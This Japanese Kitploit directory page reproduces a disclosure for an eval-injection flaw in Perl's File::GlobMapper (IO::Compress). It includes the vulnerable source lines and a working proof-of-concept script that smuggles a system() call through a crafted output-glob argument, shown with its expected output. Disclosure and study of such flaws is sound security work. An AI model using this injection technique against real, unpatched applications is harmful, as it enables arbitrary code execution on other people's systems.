Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-48962 — CVE-2026-48962 - IO::Compress - コード実行 | Kitploit
ツール/GitHubGitHub/joakimbulow/cve-2026-48962
脆弱性分析コード分析エクスプロイト論文と研究学習と教育
GitHubjoakimbulow/cve-2026-48962

CVE-2026-48962

CVE-2026-48962 - IO::Compress - コード実行

リポジトリを見る
23ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

概要

File::GlobMapper::_getFiles() における eval インジェクションの脆弱性により、IO::Compress::Gzip::gzip()、IO::Compress::Zip::zip()、または類似の関数に渡される出力ファイルグロブ引数を制御できる攻撃者は、実行中のプロセスのコンテキストで任意の Perl コードを実行できます。認証は不要です。影響は完全であり、ホストプロセスの機密性、完全性、可用性が完全に損なわれます。


詳細

File::GlobMapper::_parseOutputGlob() は、呼び出し元から指定された出力パターンを Perl のダブルクォートで囲み、その結果を保存することで出力ファイル名テンプレートを構築します。_getFiles() はその文字列をサニタイズせずに直接 eval に渡します。

lib/File/GlobMapper.pm:316–321

root@kitploit:~
$string =~ s/${noPreBS}#(\d)/\${$1}/g;
$string =~ s#${noPreBS}\*#\${inFile}#g;
$string = '"' . $string . '"';      # ダブルクォートで囲む
$self->{OutputPattern} = $string;   # そのまま保存 — エスケープなし

lib/File/GlobMapper.pm:342

root@kitploit:~
eval "\$outFile = $self->{OutputPattern};" ;   # 実行 — インジェクション箇所

File::GlobMapper は、IO::Compress::* / IO::Uncompress::* 関数の入力引数と出力引数の両方がファイルグロブ文字列(< > で区切られた)である場合に自動的に呼び出されます。これは文書化された一般的な呼び出し規約です。影響を受ける関数には、gzip、zip、bzip2、deflate、rawdeflate、およびすべての IO::Uncompress::* 対応関数が含まれます。

囲まれている Perl ダブルクォート文字列を閉じる任意の文字(リテラルの "、バッククォート、${...}、@{...})に続く任意の Perl コードはそのまま実行されます。


PoC

poc.pl として保存し、perl poc.pl で実行します。

root@kitploit:~
#!/usr/bin/perl
use strict;
use warnings;
use File::Temp qw(tempdir);
use IO::Compress::Gzip qw(gzip);

my $dir      = tempdir(CLEANUP => 1);
my $sentinel = "/tmp/CVE_GlobMapper_RCE_$$";

# 入力グロブがマッチする正当な入力ファイルを作成
open my $fh, '>', "$dir/test.txt" or die $!;
print $fh "data\n";
close $fh;

my $malicious = qq(<$dir/out.gz"; system("touch $sentinel"); #>);

print "Sentinel before: ", (-e $sentinel ? "EXISTS" : "absent"), "\n";

eval { gzip "<$dir/*.txt>" => $malicious };

if (-e $sentinel) {
    print "EXPLOITED — arbitrary command executed via eval injection\n";
    print "Sentinel: $sentinel\n";
    unlink $sentinel;
} else {
    print "Did not fire (check error: $@)\n";
}

期待される出力:

root@kitploit:~
Sentinel before: absent
EXPLOITED — arbitrary command executed via eval injection
Sentinel: /tmp/CVE_GlobMapper_RCE_<pid>

IO-Compress 2.219 / Perl 5.40.1 / Ubuntu 26.04 で確認済み。


影響

これはリモートコード実行の脆弱性です。ユーザー入力を受け入れ、それを任意の IO::Compress::* 関数の出力ファイルグロブ引数として渡す Web アプリケーション、API サービス、CLI ツール、バッチ処理パイプラインはすべて脆弱です。注入されたコードは、呼び出し元プロセスの完全な権限で実行されます。

影響を受ける対象: ファイルグロブ呼び出し規約で IO::Compress::* 関数を使用し、出力パターンが信頼できない入力(例: Web フォームのファイル名テンプレート、REST API パラメータ、CLI 引数、非特権ユーザーが制御する設定ファイル)に由来する Perl アプリケーションの開発者および運用者。

setuid または特権デーモンのコンテキストでは、悪用により昇格された権限レベルでコードが実行されます。このバグは File::GlobMapper の最初のリリース(約 2005 年)から存在しており、perl パッケージを提供するすべての Linux ディストリビューションに影響します。

参考文献

  • https://nvd.nist.gov/vuln/detail/CVE-2026-48962
  • https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch
  • https://github.com/pmqs/IO-Compress/issues/73
  • https://metacpan.org/release/PMQS/IO-Compress-2.220/changes
  • http://www.openwall.com/lists/oss-security/2026/05/27/4
  • https://github.com/advisories/GHSA-q6wx-vhvq-x7h6
ツールをダウンロード